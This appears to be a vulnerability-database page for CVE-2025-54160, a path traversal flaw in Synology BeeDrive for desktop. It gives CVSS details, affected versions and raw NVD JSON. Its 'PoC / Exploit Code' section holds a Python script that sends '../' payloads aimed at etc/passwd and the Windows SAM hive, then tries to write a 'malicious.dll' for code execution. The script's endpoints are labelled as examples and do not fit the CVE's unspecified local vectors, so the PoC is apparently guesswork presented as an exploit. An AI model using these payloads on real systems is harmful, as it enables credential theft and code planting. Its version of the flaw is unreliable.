Security Vulnerability Report
中文
CVE-2025-54160 CVSS 7.8 HIGH

CVE-2025-54160

Published: 2025-12-04 16:16:21
Last Modified: 2026-02-04 16:26:24

Description

Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in BeeDrive in Synology BeeDrive for desktop before 1.4.2-13960 allows local users to execute arbitrary code via unspecified vectors.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:synology:beedrive:*:*:*:*:desktop:-:*:* - VULNERABLE
Synology BeeDrive for desktop < 1.4.2-13960

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54160 Path Traversal PoC for Synology BeeDrive # This PoC demonstrates the path traversal vulnerability # Author: Security Researcher # Date: 2025-12-04 import os import sys import requests from urllib.parse import quote def test_path_traversal(target_path, traversal_depth=3): """ Test for path traversal vulnerability in BeeDrive Args: target_path: Original file path to target traversal_depth: Number of '../' to use for traversal """ # Generate path traversal payload traversal = '../' * traversal_depth # Common sensitive files to target sensitive_files = [ 'etc/passwd', 'Windows/System32/config/sam', 'Users/Administrator/AppData/Local/Microsoft/Windows/Temporary Internet Files' ] print(f"[*] Testing path traversal vulnerability") print(f"[*] Target: {target_path}") print(f"[*] Traversal depth: {traversal_depth}") for file in sensitive_files: # Construct malicious path malicious_path = f"{traversal}{file}" encoded_path = quote(malicious_path) print(f"\n[+] Testing: {malicious_path}") # Example API endpoint (adjust based on actual BeeDrive endpoint) # This would be the actual exploitation attempt try: # Note: Actual exploitation requires valid BeeDrive session endpoint = f"http://localhost:8000/api/file/read?path={encoded_path}" response = requests.get(endpoint, timeout=5) if response.status_code == 200: print(f"[!] VULNERABLE: Successfully accessed {file}") print(f"[!] Content preview: {response.text[:200]}") else: print(f"[-] Not accessible or protected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_write_traversal(target_dir, malicious_file): """ Attempt to write file via path traversal for RCE Args: target_dir: Target directory to write to malicious_file: Content of malicious file to write """ print(f"\n[*] Attempting to write via path traversal") # Construct write path with traversal write_path = f"../../../../{target_dir}/malicious.dll" encoded_path = quote(write_path) try: # Example write API endpoint endpoint = f"http://localhost:8000/api/file/write?path={encoded_path}" response = requests.post(endpoint, data=malicious_file, timeout=5) if response.status_code == 200: print(f"[!] VULNERABLE: File write successful") print(f"[!] Malicious file written to: {target_dir}/malicious.dll") print(f"[!] This could lead to RCE when BeeDrive loads the DLL") except requests.exceptions.RequestException as e: print(f"[-] Write attempt failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-54160 PoC - Synology BeeDrive Path Traversal") print("=" * 60) # Default target (adjust for your environment) target = "C:\\Program Files\\Synology\\BeeDrive\\data" test_path_traversal(target, traversal_depth=5) print("\n[*] Note: This PoC is for educational and authorized testing only") print("[*] Mitigation: Upgrade to BeeDrive version 1.4.2-13960 or later")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54160", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:21.343", "lastModified": "2026-02-04T16:26:24.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in BeeDrive in Synology BeeDrive for desktop before 1.4.2-13960 allows local users to execute arbitrary code via unspecified vectors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synology:beedrive:*:*:*:*:desktop:-:*:*", "versionEndExcluding": "1.4.2-13960", "matchCriteriaId": "694C1B5B-5DB9-4B98-93A7-F3B9B2C3EE3C"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_08", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}